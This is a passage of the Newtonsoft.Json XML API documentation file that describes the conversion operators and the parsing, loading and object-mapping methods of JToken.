name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTimeOffset)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTimeOffset})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n    